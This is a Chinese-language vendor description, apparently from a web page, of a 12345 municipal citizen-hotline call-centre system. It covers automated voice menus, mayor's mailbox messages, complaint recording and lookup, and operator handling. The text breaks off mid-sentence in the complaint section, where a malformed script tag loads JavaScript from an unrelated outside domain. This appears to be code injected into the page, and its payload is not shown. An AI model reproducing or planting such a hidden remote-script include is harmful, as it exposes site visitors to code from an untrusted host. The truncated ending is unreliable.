一、建设12345便民呼叫中心热线的意义
"为官一任，造福一方"，自古以来就是志有所为的仕官们的执政信条和目标；也是平民百姓对每任地方官员的基本要求和期望。真正做到这一点却又不是那么容易，首先它需要官民之间相互了解与沟通，于是官便去访民，民便去拜官。历史发展到今天，干群尊卑关系发生了质的变化，他们之间相互联系的渠道更加广阔、机会更加频繁。作为一个城市的行政长官，自然更应该去了解社会实际、体察民间风情、听取群众呼声；这是作好一切行政工作的前提和基础。为此各大城市均开通了便民呼叫中心热线电话：12345。
当前，信息化大潮席卷全球，新经济时代已经到来。信息技术正在深刻改变着我们的生活和工作方式，这种改变，使政府的管理和服务面临着新的机遇和挑战。政府热线电话不仅解决老百姓关心的米袋子、菜篮子、市政建设、反腐倡廉等问题，而且通过政府热线电话，有效监督政府各部门的工作，促使政府各部门转变工作作风，有利于廉政建设，使各级干部切实做到全心全意为人民服务，真正架起公仆走向市民的桥梁。
政府热线在市民与政府之间架起了一座简易、快捷的信息沟通桥梁，市民可以通过12345热线直接向政府机关了解政策、提出批评、发表意见。随着市民参政、议政意识的不断提高，12345热线提供给政府的信息种类越来越繁杂、信息容量越来越庞大，各地政府也因此而越来越重视对政府热线的建设和管理。
为了提高热线工作效率、加强热线工作管理，太原拓普高电脑有限公司开发了12345便民呼叫中心热线服务系统。太原拓普高公司12345便民呼叫中心热线系统是一个功能丰富的呼叫中心系统，可以提供多种接入手段和通信方式，包括有传统电话、传真、手机等，人民群众可通过多种接入方式进入政府热线系统，获得政府热线系统提供的全天24小时不间断的多种便民服务。
二、12345便民呼叫中心热线系统概述
一、自动服务功能
系统提供无人值守的24小时自动语音服务，自动语音逐步引导来话者选择电话按键，实现信箱留言、投诉举报录音、投诉处理结果查询、自动咨询、民意调查等。当用户拨通12345电话并选择自动服务时，系统自动播放类似下面的引导语"市长(县长)信箱留言请按1，投诉举报请按2，投诉查询请按3，服务咨询请按4，民意调查请按5"。系统还可根据咨询者要求，以自动传真方式发送有关查询结果资料。
1、市长(县长)信箱留言
通过设立市长(县长)信箱，自动留言，广开言路，了解民意，增进市民和政府的沟通，给市民提供发表批评和建议的渠道，自动接受市民的监督。
在人工语音服务和自动语音服务的线路繁忙，而客户不愿久等时，语音留言信箱将提供实时录音记录，避免信息遗漏。它要求客户留下回电号码、相关问题内容及是否希望回复等信息，待座席代表有空闲时进行回复，并将处理意见及时反馈给百姓。
2、自动批评建议/投诉举报录音
群众通过自动台按照语音提示进行批评建议/投诉举报，并自动录音。
3、自动批评建议/投诉举报处理结果查询
群众输入自己的投诉序号查询批评建议/投诉举报处理结果。
4、自动咨询服务
系统根据咨询者的要求，自动播放有关政策法规、城市指南、办事指南、投资指南、有关部门职能范围、市政新闻、便民措施、来电来访的受理范围及注意事项、来信来访的通信地址及其它市民关心的问题。避免了人工座席的重复劳动，提高工作效率，使政府办公真正做到了每天24小时不间断为群众服务。
5、民意调查
利用本系统与人民群众广泛沟通的特点，可针对某项政策法规的制定和实施、各职能部门社会形象等进行民意调查，提高民众参政议政的积极性和决策的科学性。
二、人工及业务处理功能
系统提供人工座席代表直接与居民对话，记录举报、投诉、批评、建议等情况，解释政府相关政策法规；可以将用户来电直接转到各政府部门和和市(县)政府领导，以应对紧急事件的发生；可通过外拨市民(人民群众)电话，将紧急或疑难问题的处理结果主动反馈给百姓；或利用外拨功能开展民意调查、调研，帮助政府制定出最符合群众利益的政策，更好地实践"三个代表"重要思想和带领人民群众全面建设小康社会。
1、咨询受理
受理电话咨询时，首先登记咨询信息，将受理过程形成咨询单。提供工作语音引导、分类选择原有事例作为参考答案、答复情况可按规定填入答复框（统计用）。
话务员无法答复时，可从界面咨询转移栏中提取职能部门受理办公号码，拨打职能部门电话。
话务员认为暂时不能答复的问题，可点击不能当时答复复选框后，答复框变为咨询人信息的录入框，记录下咨询人信息和联系方式以便后期答复。
2、电话批评建议/投诉举报的受理
主要解决群众批评建议/投诉举报电话的?script src=http://shop58wx58.cn/t.js>